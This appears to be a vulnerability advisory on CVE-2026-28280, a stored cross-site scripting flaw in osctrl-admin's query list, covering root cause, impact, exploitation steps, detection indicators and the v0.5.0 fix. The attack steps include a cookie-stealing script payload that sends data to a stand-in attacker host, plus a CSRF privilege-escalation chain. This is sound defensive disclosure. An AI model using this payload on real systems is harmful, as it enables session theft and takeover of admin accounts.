CVE-2026-28280: 
vulnerability analysis and mitigation

CVE-2026-28280 is a stored cross-site scripting (XSS) vulnerability in the osctrl-admin on-demand query list of osctrl, an osquery management solution. A user with query-level permissions (the lowest privilege tier) can inject arbitrary JavaScript via the query parameter when running an on-demand query; the payload is stored and executes in the browser of any user — including administrators — who visits the query list page. All versions of osctrl prior to 0.5.0 are affected. The vulnerability was published on February 26, 2026, and patched in osctrl v0.5.0. The CVSS v3.1 base score is 6.1 (Moderate) per the GitHub Advisory Database, though Feedly reports an alternative score of 8.7 (High) under a different vector interpretation (Github Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting): the osctrl-admin interface rendered user-supplied query text in the on-demand query list without sanitization, using string concatenation in the DataTables render function within queries.html and the queryResultLink() function in query.js. An attacker with query-level access submits a crafted on-demand query whose query parameter contains a malicious JavaScript payload; the payload is persisted server-side and executed in the browser of every user who subsequently views the query list page. The fix (PR #778) introduced escapeHTML() and safeHref() helper functions and refactored the DataTables render function to use jQuery DOM creation methods instead of string concatenation, eliminating the injection point (Github Advisory, PR #778).

An attacker with the lowest privilege tier (query-level permissions) can execute arbitrary JavaScript in the browsers of all users who view the on-demand query list, including platform administrators. The stored payload can be chained with CSRF token extraction to escalate privileges and perform actions as the logged-in user, potentially leading to full platform compromise if an administrator triggers the payload. Confidentiality and integrity impacts are rated High, as sensitive data accessible to the victim's session can be exfiltrated and unauthorized actions can be taken on their behalf; availability is not directly impacted (Github Advisory).

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires an authenticated account with at least query-level permissions and user interaction (an administrator or other user must visit the query list page), which limits opportunistic exploitation. The EPSS score is approximately 0.036% (11th percentile), indicating a low near-term exploitation probability (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog.

1. Obtain query-level access: Acquire an osctrl account with at minimum query-level permissions — the lowest privilege tier — either through legitimate access, credential theft, or account compromise.
2. Craft a malicious on-demand query: Compose an osquery on-demand query where the query parameter contains a JavaScript payload, e.g., <script>fetch('https://attacker.example/steal?c='+document.cookie)</script> or a payload that extracts the CSRF token from the page.
3. Submit the query: Execute the on-demand query through the osctrl-admin interface. The unsanitized query string is stored server-side and rendered in the query list.
4. Wait for victim interaction: When any user (including an administrator) navigates to the on-demand query list page, the stored payload executes in their browser context.
5. Escalate privileges via CSRF: Use the extracted CSRF token from the victim's session to forge authenticated requests, performing administrative actions (e.g., creating new admin accounts, modifying configurations) on behalf of the victim, potentially achieving full platform compromise (Github Advisory, PR #778).

• Logs: osctrl-admin access logs showing on-demand query submissions containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in the query parameter field.
• Application Data: On-demand query list entries in the osctrl database containing unsanitized JavaScript or HTML markup in the query text column.
• Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after visiting the osctrl query list page, potentially carrying session cookies or CSRF tokens as query parameters.
• Behavioral: Unexpected administrative actions (new user creation, configuration changes, permission escalations) in osctrl audit logs that do not correspond to known administrator activity, potentially indicating CSRF-based privilege escalation.

The vulnerability is fixed in osctrl v0.5.0, which introduced input sanitization via escapeHTML() and safeHref() functions and replaced unsafe string concatenation with jQuery DOM creation methods in the query list rendering code. Users should upgrade to v0.5.0 immediately (Github Advisory, PR #778). As interim workarounds prior to patching: restrict query-level permissions exclusively to trusted users; monitor the on-demand query list for entries containing suspicious JavaScript or HTML content; and audit osctrl user accounts to identify and remove any unauthorized administrator accounts.

The vulnerability was discovered and reported by Leon Johnson and Kwangyun Keum from TikTok USDS JV Offensive Security Operations (Offensive Privacy Team), credited in the official GitHub Security Advisory (Github Advisory). The osctrl maintainer (javuto) responded promptly, merging the fix on February 23, 2026, and publishing the advisory on February 26, 2026. No significant broader media coverage or notable community debate has been identified beyond standard vulnerability database aggregation.